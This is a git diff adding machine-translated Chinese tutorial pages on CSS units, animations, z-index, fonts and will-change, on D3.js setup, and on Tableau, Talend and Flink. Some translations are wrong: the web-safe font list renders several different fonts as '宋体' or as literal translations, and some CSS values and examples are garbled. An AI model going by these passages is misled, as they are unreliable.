+<img src="..." style="border: 1px solid red;" /> 
+```
+
+#### 更多信息：
+
+*   [W3Schools的](https://www.w3schools.com/css/css_intro.asp)
+*   [CSS-Tricks Almanac](https://css-tricks.com/almanac/)
+*   [Sitepoint](https://www.sitepoint.com/html-css/?ref_source=github)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/tutorials/perfect-full-page-background-image/index.md b/client/src/guide/chinese/css/tutorials/perfect-full-page-background-image/index.md
new file mode 100644
index 0000000000..d98f0146e0
--- /dev/null
+++ b/client/src/guide/chinese/css/tutorials/perfect-full-page-background-image/index.md
@@ -0,0 +1,11 @@
+---
+title: Perfect Full Page Background Image
+localeTitle: 完美的整页背景图像
+---
+## 完美的整页背景图像
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/perfect-full-page-background-image/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/tutorials/scaling-background-images/index.md b/client/src/guide/chinese/css/tutorials/scaling-background-images/index.md
new file mode 100644
index 0000000000..d36f670953
--- /dev/null
+++ b/client/src/guide/chinese/css/tutorials/scaling-background-images/index.md
@@ -0,0 +1,11 @@
+---
+title: Scaling Background Images
+localeTitle: 缩放背景图像
+---
+## 缩放背景图像
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/scaling-background-images/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/tutorials/transparent-background-images/index.md b/client/src/guide/chinese/css/tutorials/transparent-background-images/index.md
new file mode 100644
index 0000000000..7c642e097e
--- /dev/null
+++ b/client/src/guide/chinese/css/tutorials/transparent-background-images/index.md
@@ -0,0 +1,11 @@
+---
+title: Transparent Background Images
+localeTitle: 透明背景图像
+---
+## 透明背景图像
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/transparent-background-images/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/units/index.md b/client/src/guide/chinese/css/units/index.md
new file mode 100644
index 0000000000..930ff675c5
--- /dev/null
+++ b/client/src/guide/chinese/css/units/index.md
@@ -0,0 +1,81 @@
+---
+title: Units
+localeTitle: 单位
+---
+## 单位
+
+许多CSS属性，如`width` ， `margin` ， `padding` ， `font-size`等需要很长的时间。 CSS有一种表达多个单元长度的方法。长度是数字和单位的组合，没有空格。例如`5px` ， `0.9em`等
+
+### 长度
+
+#### 常用长度单位
+
+CSS使用几个单位来表示长度。所有浏览器都支持旧版本：
+
+*   **rem** - “r”代表“root”：“root em” - ，它等于固定到根元素的字体大小（几乎总是`<html>` ）。
+*   **vh**和**vw** - 许多响应式网页设计技术严重依赖于百分比规则。但是，CSS百分比度量并不总是解决所有问题的最佳方法。度量**vh**等于视口高度的1/100。因此，例如，如果浏览器的高度为800px，则1vh等于8px，同样，如果视口的宽度为650px，则1vw等于6.5px。
+*   **vmin**和**vmax** - 这些单位与**vh**和**vw**的最大值或最小值有关。例如，如果浏览器设置为1200px宽，高度为600px，则1vmin为6px，1vmax为12px。但是，如果宽度设置为700px且高度设置为1080px，则vmin将等于7px且vmax为10.8px。
+*   **ex**和**ch** - 这些单位与**em**和**rem**类似，依赖于当前的字体和字体大小。但是，与**em**和**rem**不同，这些单元还依赖于`font-family`因为它们是根据每种字体特有的度量来确定的。 **ch**单位（“字符单位”）被定义为字符零（“0”）的宽度。 **ex**单位定义为“当前字体的当前x高度或1em的一半”。给定字体的height-x是该字体的小写“x”的高度。它通常是字体的中间标记。
+
+|单位|说明| | --------------- | ----------------------- | | em | 1 em是使用它的元素上font-size的计算值。 | | ex | 1 ex是当前字体的x高度。 x高度通常（但不总是，例如，如果字体中没有'x'）等于小写'x'|的高度。 | ch | 1 ch是当前字体中'0'（零）字形的前进。 'ch'代表人物。 | | rem | 1 rem是文档根元素的font-size属性的计算值 | vw | 1vw是视口宽度的1％。 'vw'代表'视口宽度'。 | | vh | 1vh是视口高度的1％。 'vh'代表'viewport height'。 | | vmin |等于'vw'或'vh'|中较小的一个 | vmax |等于'vw'或'vh'|中的较大者
+
+CSS中有两种用于长度和大小的单位：相对和绝对。
+
+### 相对单位
+
+相对单位相对于元素的当前字体大小或其他设置而变化。一些相关单位是
+
+*   `em`
+*   当前元素的`font-size`的大写字母M的宽度。
+*   字体大小从父元素继承。
+*   例： `html div { font-size: 16px; } div h3 { font-size: 2rem; }` 这里`<h3>`将等于`32px`因为当前或父元素的`font-size`是`16px` 。
+*   `rem`
+*   root `em` ，或默认基本`font-size`的大写字母M的宽度。
+*   父字体大小无效。
+*   例： `html body { font-size: 16px; } p { font-size: 1.5rem; }` 由于默认基本`font-size`为`16px`因此`<p>`将等于`24px` 。
+*   `%`
+*   相对于父母大小的百分比大小。
+*   例： `html div { width: 400px; } div p { width: 75%; }` 由于父级的宽度为`400px` ，内部段的宽度将为`300px` ，即`400px` 75％。
+*   `vw`
+*   视图宽度，或视口宽度的1/100
+*   例： `html body { width: 100vw; }` `body`填充视口的宽度，无论是417像素，690像素还是任何宽度。
+*   `vh`
+*   视图高度，或视口高度的1/100
+*   例： `html div { height: 50vh; }` 此`div`将填充视口高度的一半，无论是1080px，1300px还是任何高度。
+
+### 绝对单位
+
+无论屏幕尺寸或其他设置如何，绝对单位都是相同的。一些绝对单位是
+
+*   `px`
+*   像素
+*   像素数相对于观看设备屏幕的质量
+*   `in` ， `cm` ， `mm`
+*   英寸，厘米，毫米
+*   小屏幕或大屏幕上的英寸是一英寸
+*   `pt` ， `pc`
+*   分（1/72英寸）和皮卡（12分）
+
+例
+
+```html
+
+p { 
+  font-size: 24px; 
+ } 
+ div { 
+  width: 3in; 
+  border-width: 3pt; 
+ } 
+```
+
+`font-size: 24px`段落将在手机，平板电脑或桌面屏幕上显示为24px。
+
+`div`将显示为3英寸宽，无论屏幕大小如何， `div`上的`border`将为3/72英寸厚。
+
+### 更多信息：
+
+*   [Web平台了解像素和其他CSS单位](https://webplatform.github.io/docs/tutorials/understanding-css-units/)
+*   [MDN Web Docs - CSS单位](https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Values_and_units)
+*   [网页设计教程]('https://webdesign.tutsplus.com/articles/7-css-units-you-might-not-know-about--cms-22573)
+*   [CSS单元的HTML帮助](http://www.htmlhelp.com/reference/css/units.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/using-css-animations/index.md b/client/src/guide/chinese/css/using-css-animations/index.md
new file mode 100644
index 0000000000..1db20ea989
--- /dev/null
+++ b/client/src/guide/chinese/css/using-css-animations/index.md
@@ -0,0 +1,70 @@
+---
+title: Using CSS Animations
+localeTitle: 使用CSS动画
+---
+## 使用CSS动画
+
+CSS动画为网页增添了美感。 CSS动画可以将CSS样式转换为另一种CSS样式。
+
+要创建CSS动画序列，我们在CSS的`animation`属性中有不同的子属性：
+
+*   `animation-delay`
+*   `animation-direction`
+*   `animation-duration`
+*   `animation-iteration-count`
+*   `animation-name`
+*   `animation-play-state`
+*   `animation-timing-function`
+*   `animation-fill-mode`
+
+### 用于在屏幕上移动文本的CSS动画序列示例
+
+在HTML部分中，我们将有一个带有类`container`的`div`和一个带有文本`Hello World`的`h3` ：
+
+```html
+
+<div class="container"> 
+    <h3> Hello World ! </h3> 
+ </div> 
+```
+
+对于CSS部分：
+
+```css
+.container { 
+    /* We will define the width, height and padding of the container */ 
+    /* The text-align to center */ 
+    width: 400px; 
+    height: 60px; 
+    padding: 32px; 
+    text-align: center; 
+ 
+    /* Use the animation `blink` to repeat infinitely for a time period of 2.5s*/ 
+    animation-duration: 2.5s; 
+    animation-iteration-count: infinite; 
+    animation-direction: normal; 
+    animation-name: blink; 
+ 
+    /* The same can be written shorthand as     */ 
+    /* --------------------------------------   */ 
+    /* animation: 2.5s infinite normal blink;   */ 
+ } 
+ @keyframes blink { 
+    0%, 100% {              /* Defines the properties at these frames */ 
+        background: #333; 
+        color: white; 
+    } 
+ 
+    50% {                   /* Defines the properties at these frames */ 
+        background: #ccc; 
+        color: black; 
+        border-radius: 48px; 
+    } 
+ } 
+```
+
+![Imgur](https://imgur.com/sczZjwm.gif)
+
+#### 更多信息：
+
+有关CSS动画的更多信息，请访问[Mozilla Developer Network Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/using-css-transitions/index.md b/client/src/guide/chinese/css/using-css-transitions/index.md
new file mode 100644
index 0000000000..abba29084f
--- /dev/null
+++ b/client/src/guide/chinese/css/using-css-transitions/index.md
@@ -0,0 +1,11 @@
+---
+title: Using CSS Transitions
+localeTitle: 使用CSS转换
+---
+## 使用CSS转换
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/using-css-transitions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/vertical-align/index.md b/client/src/guide/chinese/css/vertical-align/index.md
new file mode 100644
index 0000000000..df6e9d2e0e
--- /dev/null
+++ b/client/src/guide/chinese/css/vertical-align/index.md
@@ -0,0 +1,32 @@
+---
+title: Vertical Align CSS  
+localeTitle: 垂直对齐CSS
+---
+## 垂直对齐
+
+`vertical-align`是用于垂直对齐图像的CSS属性。
+
+例如，您可以像这样`vertical-align`以对齐图像：
+```
+img { 
+    vertical-align: top; 
+ } 
+```
+
+这些是`vertical-align`的有效值：
+
+*   `baseline` - 这是默认值。它将元素与父元素的基线对齐
+*   `length` - 这将在父元素基线之上或之下的给定长度上对此元素的基线进行分配。你可以使用pixals，em，％等。
+*   `sub` - 这将元素对齐，就好像它是父元素的下标一样
+*   `super` - 这将元素对齐，就像它是父元素的上标一样
+*   `top` - 这会对齐元素，使此元素的顶部与线上最高元素的顶部对齐
+*   `bottom` - 这会对齐元素，使此元素的底部与线上最低元素的底部对齐
+*   `middle` - 这将对齐元素，使其位于父元素的中间
+*   `text=top` - 这会对齐此元素的顶部，使其与父元素顶部的顶部对齐
+*   `text-bottom` - 这将对齐此元素的底部，使其与父元素文本的底部对齐
+
+#### 更多信息：
+
+*   [CSS vertical-align](https://www.w3schools.com/cssref/pr_pos_vertical-align.asp)
+    
+*   [CSS-Tricks垂直对齐](https://css-tricks.com/almanac/properties/t/text-align/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/w3-css-containers/index.md b/client/src/guide/chinese/css/w3-css-containers/index.md
new file mode 100644
index 0000000000..f0d87d1c64
--- /dev/null
+++ b/client/src/guide/chinese/css/w3-css-containers/index.md
@@ -0,0 +1,33 @@
+
+#localeTitle: undefined
+#W3 CSS容器 W3.css提供了一个容器类，它为任何html元素添加了16个像素的左右填充，以及0.01em的 顶部和底部填充。 这使得它非常适用于包含`<header>, <div>, <footer>, <section>`等元素的html。但也可以在`<img> and <p>.`等元素上使用效果很好`<img> and <p>.`
+
+### 简单的例子
+```
+<header class="w3-container"> 
+  <h1>Header With W3 Container</h1> 
+ </header> 
+```
+
+```
+<header> 
+  <h1>Header Without W3 Container</h1> 
+ </header> 
+```
+
+会产生以下结果。
+
+![标头img](https://github.com/OcelotDive/randomImages/blob/master/images/WithWithout.PNG)
+
+### 使用W3.Css容器
+
+只需将常规样式表链接添加到网页的头部，如下所示：
+```
+<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 
+```
+
+或者将最新的css文件下载到本地计算机。这里：（https://www.w3schools.com/w3css/4/w3.css）
+
+#### 有关W3.Css容器的更多信息
+
+##### W3schools.com（https://www.w3schools.com/w3css/w3css\_containers.asp）
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/w3-css-slideshow/index.md b/client/src/guide/chinese/css/w3-css-slideshow/index.md
new file mode 100644
index 0000000000..63b1ac60ac
--- /dev/null
+++ b/client/src/guide/chinese/css/w3-css-slideshow/index.md
@@ -0,0 +1,11 @@
+---
+title: W3 CSS Slideshow
+localeTitle: W3 CSS幻灯片
+---
+## W3 CSS幻灯片
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/w3-css-slideshow/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/web-safe-fonts/index.md b/client/src/guide/chinese/css/web-safe-fonts/index.md
new file mode 100644
index 0000000000..8ee74a793a
--- /dev/null
+++ b/client/src/guide/chinese/css/web-safe-fonts/index.md
@@ -0,0 +1,41 @@
+---
+title: Web Safe Fonts
+localeTitle: Web安全字体
+---
+## Web安全字体
+
+Web安全字体是大多数操作系统都包含的字体，这种高可用性的含义是设计人员可以期望涉及Web安全字体的排版与大多数用户完全一致。以下是在撰写本文时被视为Web安全的某些字体的非详尽列表，按CSS通用字体系列分类。
+
+Web安全衬线字体：
+
+*   格鲁吉亚
+*   英语字体格式一种
+
+Web安全sans-serif字体：
+
+*   宋体
+*   宋体
+*   投石机MS
+*   宋体
+
+Web安全等宽字体：
+
+*   快递新
+
+值得注意的是，即使您的设计仅使用Web安全字体，仍应使用包含回退选项（包括通用字体系列）的字体堆栈。例如：
+
+```css
+p { 
+  font-family: Tahoma, Arial, sans-serif; 
+ } 
+```
+
+#### 关于Web字体的注释
+
+仅仅因为某些字体比其他字体更安全并不意味着您应该将您的设计限制为仅使用Web安全字体。使用CSS的现代设计还可以利用Web字体来确保跨操作系统的一致排版。
+
+#### 更多信息：
+
+*   [MDN文档：基本文本和字体样式](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Fundamentals#Web_safe_fonts)
+*   [MDN文档：Web字体](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Web_fonts)
+*   [Web安全字体](https://www.cssfontstack.com)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/will-change/index.md b/client/src/guide/chinese/css/will-change/index.md
new file mode 100644
index 0000000000..b6a1bf51f8
--- /dev/null
+++ b/client/src/guide/chinese/css/will-change/index.md
@@ -0,0 +1,33 @@
+---
+title: Will Change
+localeTitle: 将改变
+---
+## 将改变
+
+will-change属性允许您告诉浏览器对元素进行哪些操作以优化它。
+
+```css
+.container { 
+ will-change: transform; 
+ } 
+```
+
+上面的属性will-change用于类`.container` ，在这种情况下，元素的转换可能会也可能不会发生。
+
+但是，使用此属性会产生一个有趣的副作用。
+
+如果我们应用于transform： `translateZ (0)`元素，该元素将创建一个新的叠加上下文，并且在某些浏览器中，它还将为其自己的渲染流添加一个层，这将为我们提供性能提升，我们正在实现。
+
+因此，使用`will-change: transform` ，浏览器将创建一个新的叠加上下文，无论我们是否将变换应用于元素。
+
+需要注意的关键是，仅当属性还创建新的叠加上下文时，更改才会创建新的叠加上下文。由于transform属性会创建新的叠加上下文，因此`will-change: transform`也会创建一个新的叠加上下文。
+
+如果您使用了`will-change: display` ，则不会创建新的叠加上下文，因为display属性的值不会创建新的叠加上下文。
+
+让我们看另一个例子： `opacity` 。值为1的不透明度不会创建新的叠加上下文，但会创建较低的值（例如，0.9）。虽然会改变：不透明度在任何情况下都会创建一个新的叠加上下文。
+
+#### 更多信息：
+
+*   [将改变MDN网络文档](https://developer.mozilla.org/en-US/docs/Web/CSS/will-change)
+*   [CSS将更改模块级别1（工作草案）](https://drafts.csswg.org/css-will-change/#will-change)
+*   [我可以使用：CSS将改变属性](https://caniuse.com/#feat=will-change)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/z-index/index.md b/client/src/guide/chinese/css/z-index/index.md
new file mode 100644
index 0000000000..2381b491f5
--- /dev/null
+++ b/client/src/guide/chinese/css/z-index/index.md
@@ -0,0 +1,101 @@
+---
+title: Z Index
+localeTitle: Z指数
+---
+## Z指数
+
+Z Index（ `z-index` ）是一个CSS属性，用于定义重叠HTML元素的顺序。具有较高索引的元素将放置在具有较低索引的元素之上。
+
+**注意** ：Z索引仅适用于定位元素（ `position:absolute` ， `position:relative`或`position:fixed` ）。
+
+#### 可能的值
+
+```css
+/* Default value if not specified */ 
+ z-index: auto; 
+ 
+ /* Integer values */ 
+ z-index: 1; 
+ z-index: 100; 
+ z-index: 9999; 
+ z-index: -1; 
+ 
+ /* Global values */ 
+ z-index: inherit; 
+ z-index: initial; 
+ z-index: unset; 
+```
+
+#### 示例用法
+
+在此示例中，您可以使用`z-index`看到以不同顺序在彼此之上显示的三个框。
+
+_HTML_
+
+```html
+
+<div class="container"> 
+  <div class="box" id="blue"></div> 
+  <div class="box" id="red"></div> 
+  <div class="box" id="green"></div> 
+ </div> 
+```
+
+_CSS_
+
+```css
+#blue { 
+  background-color: blue; 
+ } 
+ 
+ #red { 
+  background-color: red; 
+ } 
+ 
+ #green { 
+  background-color: green; 
+ } 
+```
+
+由于未定义`z-index` ，因此默认值为`auto` 。这是一个结果：
+
+![三个盒子的图像](https://image.prntscr.com/image/Yc9oGkdKTnm_YIHzaKQmbQ.png)
+
+尝试使用`z-index` CSS中的顺序更改为绿色，蓝色，红色。
+
+```css
+#blue { 
+  background-color: blue; 
+  z-index: 2; 
+ } 
+ 
+ #red { 
+  background-color: red; 
+  z-index: 1; 
+ } 
+ 
+ #green { 
+  background-color: green; 
+  z-index: 3; 
+ } 
+```
+
+你的结果将是：
+
+![三个盒子的图像](https://image.prntscr.com/image/Am9XxPO4Q2mq-PcokJ47Wg.png)
+
+如果需要在容器下面放置背景元素，请使用Z Index。你可以轻松地将背景放在每个元素下面，给它一个负Z指数，如下所示：
+
+```css
+#background { 
+  z-index: -1; 
+ } 
+```
+
+#### 更多信息：
+
+[https://css-tricks.com/almanac/properties/z/z-index/](https://css-tricks.com/almanac/properties/z/z-index/)
+
+[https://developer.mozilla.org/en-US/docs/Web/CSS/CSS _定位/理解_ z\_index](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index)
+
+[https://philipwalton.com/articles/what-no-one-told-you-about-z-index/](https://philipwalton.com/articles/what-no-one-told-you-about-z-index/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/d3/index.md b/client/src/guide/chinese/d3/index.md
new file mode 100644
index 0000000000..953c3f5626
--- /dev/null
+++ b/client/src/guide/chinese/d3/index.md
@@ -0,0 +1,68 @@
+---
+title: D3
+localeTitle: D3
+---
+# D3：数据驱动文档
+
+**数据驱动文档** （D3.js）是一个JavaScript库，用于在Web浏览器中生成动态，交互式数据可视化。 **D3.js** API包含各种方法，可以分为以下逻辑单元 - _选择_ ， _转换_ ， _数组_ ， _数学_ ， _颜色_ ， _比例_ ， _SVG_ ， _时间_ ， _布局_ ， _地理_ ， _几何_ ， _行为_ 。
+
+![D3.js标志](https://i2.wp.com/pbiswas101.files.wordpress.com/2018/07/d3.jpg?w=312&h=161)
+
+**D3.js**通过将强大的可视化和交互技术与数据驱动的DOM操作方法相结合，帮助您可视化数据。它还通过为您的数据设计正确的可视界面，提供现代浏览器的全部功能。
+
+**D3.js**版本1.0.0于2011年2月18日发布。
+
+## 为什么，D3.js？
+
+_D3_ \*没有引入新的视觉表现。与**Processing** ， **Raphaël**或**Protovis不同** ， _D3的_图形标记词汇直接来自Web标准：HTML，SVG和CSS - https://d3js.org/
+
+###### 入门
+
+你可以从中学到超过20,000多个**D3.js的**例子，但是你永远不知道任何给定的例子会多么平易近人！所以，问题是 - 如何从第一原理构建可视化？正如您可能已经看到的那样，D3的API非常庞大，所以我们可以提前了解一些在早期特别有用的实用工具：
+
+*   **D3级**
+
+![](https://i0.wp.com/pbiswas101.files.wordpress.com/2018/07/scale.png?w=400&h=100)
+
+*   **D3型**
+
+![](https://i0.wp.com/pbiswas101.files.wordpress.com/2018/07/shape.png?w=400&h=100)
+
+*   **D3选择**
+
+![](https://i0.wp.com/pbiswas101.files.wordpress.com/2018/07/selection.gif?w=400&h=100)
+
+*   **D3收集**
+
+![](https://i0.wp.com/pbiswas101.files.wordpress.com/2018/07/collection.png?w=400&h=100)
+
+*   **D3-层次**
+
+![](https://i2.wp.com/pbiswas101.files.wordpress.com/2018/07/hierarchy.png?w=400&h=100)
+
+*   **D3变焦**
+
+![](https://i1.wp.com/pbiswas101.files.wordpress.com/2018/07/zoom.gif?w=400&h=100)
+
+*   **D3力**
+
+![](https://i1.wp.com/pbiswas101.files.wordpress.com/2018/07/force.gif?w=400&h=100)
+
+因此，只需要了解一些最新HTML5功能的基本知识，例如SVG，Canvas，您就可以深入了解像**D3.js**这样的库将数据变为现实的世界！ ######贡献
+
+*   https://github.com/d3/
+    
+    ### 资源
+    
+*   https://en.wikipedia.org/wiki/D3.js
+    
+*   https://en.wikipedia.org/wiki/Document _对象_模型
+    
+*   http://blockbuilder.org/search
+    
+*   https://d3indepth.com/
+    
+*   https://davidwalsh.name/learning-d3
+    
+
+* * *
\ No newline at end of file
diff --git a/client/src/guide/chinese/d3/set-up-d3/index.md b/client/src/guide/chinese/d3/set-up-d3/index.md
new file mode 100644
index 0000000000..3328b08d16
--- /dev/null
+++ b/client/src/guide/chinese/d3/set-up-d3/index.md
@@ -0,0 +1,73 @@
+---
+title: Set Up D3
+localeTitle: 设置D3
+---
+## HTML设置
+
+现在，您只需使用文本文件和Web浏览器。您将从HTML的静态页面开始。然后你将添加d3.js. 创建名为d3js _projects_的文件夹_。在名为project_ 1.html _的文件夹中创建一个HTML文件_ 。
+
+从基本的HTML网页开始：
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+  </head> 
+  <body> 
+    <p>Hello!</p> 
+  </body> 
+ </html> 
+```
+
+它显示在浏览器中：
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/project_1_browser_snapshot_600x198.png)
+
+### D3.js设置
+
+要获取主要的D3.js JavaScript文件，请转到D3.js网站。在页面上的第一段后，您将看到一个包含最新版本链接的部分。下载最新版本d3.v2.min.js.将此文件保存在d3js\_projects文件夹中。
+
+文件d3.v2.min.js与HTML文件保存在同一文件夹中，因此可以轻松引用它。我们从HTML文件的头部引用JavaScript文件。我们更新的HTML文件现在如下所示：
+
+`html <!DOCTYPE html> <html> <head> <script type="text/javascript" src="d3.v2.min.js"></script> </head> <body> <p>Hello!</p> </body> </html>`
+
+源文件设置测试
+
+为了测试我们的D3.js设置，我们打开了inspect元素工具包。在Webkit Inspector的Element选项卡中，我们打开所有元素，以便我们可以看到整个HTML结构。然后我们将鼠标悬停在d3.vs.min.js src上。
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/d3.js.installation.check.png)
+
+当我们点击链接时，它会将我们带到“源”选项卡。这将显示D3.js缩小的代码。
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/d3.js.source.check.png)
+
+\### JavaScript控制台设置测试
+
+最后一次测试将在JavaScript控制台中进行。此测试告诉我们D3.js是否正确加载以供我们在JavaScript控制台中使用。 在此快照中，找到Webkit检查器中的“控制台”选项卡：
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/d3.js.installation.check.png)
+
+当您单击选项卡时，它将显示一个空白屏幕，您可以在其中键入和评估JavaScript。
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/JavaScript_Console_600x170.png)
+
+在JavaScript控制台中，键入以下内容：
+
+`javascript alert("hello");`
+
+这将导致弹出警报弹出并说“你好！”。这就是它的样子：
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/JavaScript_Consoler_Alert_600x335.png)
+
+现在测试D3.js是否正确加载。在控制台中键入小写“d3”，后跟句点：
+
+`javascript d3`
+
+如果我们正确安装了D3.js，则应显示以下内容：
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/d3.js.javascript.console_300x420.png)
+
+如果所有测试都通过并且您能够正确加载D3.js，那么您就可以开始了。
+
+＃＃＃＃ 更多信息
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/Tableau/index.md b/client/src/guide/chinese/data-science-tools/Tableau/index.md
new file mode 100644
index 0000000000..31ba70aa29
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/Tableau/index.md
@@ -0,0 +1,12 @@
+---
+  title: Tableau
+localeTitle: 表
+---
+# 画面
+
+Tableau是一款用于商业智能的数据可视化软件。 Tableau是一种商业上可用的思想Tableau Software基础。功能包括高度交互式可视化，映射功能和dashbords。在线存在一个用于画面可视化的最强大的社区，许多个人公开发布他们的仪表板。
+
+### 链接：
+
+*   [Tableau网站](https://www.tableau.com)
+*   [Tableau公共图库](https://public.tableau.com/en-us/s/gallery)
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/Talend/index.md b/client/src/guide/chinese/data-science-tools/Talend/index.md
new file mode 100644
index 0000000000..82fe4b4c88
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/Talend/index.md
@@ -0,0 +1,33 @@
+---
+title: Talend Open Studio
+localeTitle: Talend Open Studio
+---
+## Talend Open Studio
+
+[Talend](https://www.talend.com/) [Open Studio](https://www.talend.com/products/talend-open-studio/)是一个开源软件套件，提供[数据集成](https://www.talend.com/products/data-integration/data-integration-open-studio/) ， [大数据](https://www.talend.com/products/big-data/big-data-open-studio/) ， [数据准备](https://www.talend.com/products/data-preparation/data-preparation-free-desktop/) ， [数据质量](https://www.talend.com/products/talend-open-studio/data-quality-open-studio/) ， [企业服务总线](https://www.talend.com/products/application-integration/esb-open-studio/)和[主数据管理解决方案](https://www.talend.com/products/mdm/mdm-open-studio/) 。
+
+由于该项目的开源特性，蓬勃发展的社区有助于开发[扩展和组件](https://exchange.talend.com/) 。
+
+## 数据集成
+
+快速启动ETL项目并集成数据 ![数据集成](https://www.talend.com/wp-content/uploads/connect-and-transform-data-in-no-time.jpg)
+
+## 大数据
+
+简化大型和多样化数据集的ETL ![大数据](https://www.talend.com/wp-content/uploads/connect-and-transform-big-data.jpg)
+
+## 数据准备
+
+使用户能够发现，混合和清理数据 ![数据准备](https://www.talend.com/wp-content/uploads/get-your-time-back.jpg)
+
+## 数据质量
+
+评估数据的准确性和完整性 ![数据质量](https://www.talend.com/wp-content/uploads/map-your-path-to-clean-data.jpg)
+
+## 企业服务总线
+
+加快应用程序和API的编排 ![企业服务总线](https://www.talend.com/wp-content/uploads/speed-up-integration-for-reuse-2.png)
+
+## 主数据管理
+
+为数据生成单个“真相版本” ![主数据管理](https://www.talend.com/wp-content/uploads/generate-a-single-version-of-the-truth-for-data.jpg)
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/detail/index.md b/client/src/guide/chinese/data-science-tools/detail/index.md
new file mode 100644
index 0000000000..62b3ce6909
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/detail/index.md
@@ -0,0 +1,41 @@
+---
+title: detail
+localeTitle: 详情
+---
+## 什么是数据科学
+
+### 数据科学是一个多学科领域，结合了技能
+```
+    software engineering and statistics with domain experience to 
+    support the end-to-end analysis of large and diverse data sets, 
+    ultimately uncovering value for an organization and then 
+    communicating that value to stakeholders as actionable results. 
+```
+
+## 数据科学家
+```
+Person who is better at statistics than any software engineer and 
+    better at software engineering than any statistician. 
+```
+
+## 你需要什么技能？
+```
+* Mathematics - Calculus, Linear Algebra 
+ * Statistics - Hypothesis, Testing, Regression 
+ * Programming - SQL, R/Python 
+ * Machine Learning - Supervised and Unsupervised Learning, Model Fitting 
+ * Business/Product Intuition - Interpret and communicate results to non-technical audience 
+```
+
+## 生命周期
+```
+1 - Identify or Formulate Problem 
+ 2 - Data Preparation 
+ 3 - Data Exploration 
+ 4 - Transform and Select 
+ 5 - Build Model 
+ 6 - Validate Model 
+ 7 - Deploy Model 
+ 8 - Evalute or Monitor Results 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/flink/batch-examples-java/index.md b/client/src/guide/chinese/data-science-tools/flink/batch-examples-java/index.md
new file mode 100644
index 0000000000..3ab6b650c9
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/flink/batch-examples-java/index.md
@@ -0,0 +1,93 @@
+---
+title: Flink Batch Example JAVA
+localeTitle: Flink批处理示例JAVA
+---
+## Flink批处理示例JAVA
+
+Apache Flink是一个开源流处理框架，具有强大的流和批处理功能。
+
+### 先决条件
+
+*   类Unix环境（Linux，Mac OS X，Cygwin）
+*   混帐
+*   Maven（我们推荐3.0.4版本）
+*   Java 7或8
+*   IntelliJ IDEA或Eclipse IDE
+```
+git clone https://github.com/apache/flink.git 
+ cd flink 
+ mvn clean package -DskipTests # this will take up to 10 minutes 
+```
+
+### 数据集
+
+对于批处理数据，我们将使用此处的数据集： [数据集](http://files.grouplens.org/datasets/movielens/ml-latest-small.zip) 在这个例子中，我们将使用movies.csv和ratings.csv，创建一个新的java项目并将它们放在应用程序库的一个文件夹中。
+
+### 例
+
+我们将按照我们所拥有的整个数据集的电影类型检索平均评级来执行。
+
+**环境和数据集**
+
+首先创建一个新的Java文件，我将其命名为AverageRating.java
+
+我们要做的第一件事是创建执行环境并在数据集中加载csv文件。像这样：
+```
+ExecutionEnvironment env = ExecutionEnvironment.getExecutionEnvironment(); 
+ DataSet<Tuple3<Long, String, String>> movies = env.readCsvFile("ml-latest-small/movies.csv") 
+  .ignoreFirstLine() 
+  .parseQuotedStrings('"') 
+  .ignoreInvalidLines() 
+  .types(Long.class, String.class, String.class); 
+ 
